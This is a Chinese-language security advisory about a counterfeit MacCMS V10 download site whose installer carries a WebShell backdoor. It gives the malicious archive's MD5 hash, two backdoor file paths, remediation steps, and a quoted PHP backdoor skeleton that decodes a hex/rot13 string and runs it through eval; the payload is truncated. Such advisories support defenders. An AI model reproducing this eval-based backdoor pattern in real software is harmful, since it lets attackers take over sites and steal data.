苹果CMS V10假冒官网源码后门隐患与彻底修复方案

苹果CMS官方站点停摆期间，搜索引擎排名靠前的 www.maccmsv10.com 为高仿假冒站点，该网站仿制官方首页样式对外提供程序源码下载。从该站点获取的苹果CMS V10安装包内置恶意WebShell后门，长期存在安全风险，会导致站点被非法控制、数据泄露、服务器被接管等问题。

正版官方域名唯一为 www.maccms.com，站长切勿混淆域名，随意在第三方高仿站点下载程序源码。

一、恶意源码包校验信息与后门文件路径

假冒站点分发的恶意压缩包信息固定，可通过MD5值快速核验源码安全性，同时两个固定路径存在后门文件：

maccms10extendupyunsrcUpyunApiFormat.php
maccms10extendQcloudSmsSms.php
MD5 (maccms10.zip) = 099e02dfa9d283e2891bce5bf9691643

上述恶意文件统一修改时间为 2019/6/12，后门为习科大马改良版本，隐蔽性强，可实现后台非法操控权限。

二、后门核心代码特征

恶意文件内置加密执行后门代码，具备隐藏报错、延长执行时间、解密执行恶意程序的能力，完整特征代码如下：

<?php error_reporting(E_ERROR); @ini_set(‘display_errors’,‘Off’); @ini_set(‘max_execution_time’,20000); @ini_set(‘memory_limit’,‘256M’); header(“content-Type: text/html; charset=utf-8”); $password = “0d41c75e2ab34a3740834cdd7e066d90”; function s(){ $str = “66756r6374696s6r207374…………”; //大马 $str = str_rot13($str); m($str); } function m($str){ global $password; $jj = ”; eval($jj.pack(‘H*’,$str).$jj); } s(); ?>

三、站点安全修复操作步骤

• 精准排查文件：对照上述两个后门文件路径，遍历网站程序目录，检查站点是否存在对应恶意文件。

• 删除恶意程序：找到后门文件后立即彻底删除，杜绝恶意代码运行入口。

• 全盘安全查杀：使用服务器安全工具对网站源码、服务器目录进行全盘扫描，排查隐藏的未知后门、木马文件。

• 人工复核校验：手动抽查站点核心PHP文件、扩展插件文件，排查异常加密代码、未知执行脚本。

• 服务器安全加固：检查服务器权限、目录写入规则、防火墙配置，封堵安全漏洞，防止二次入侵。

四、安全防范建议

搭建苹果CMS站点务必通过官方正规渠道获取源码，杜绝从高仿站点、未知第三方平台下载程序、插件、模板。日常运营中定期查杀源码后门、更新程序版本、收紧服务器目录权限，从根源规避网站被植入后门、非法劫持、数据泄露等安全问题。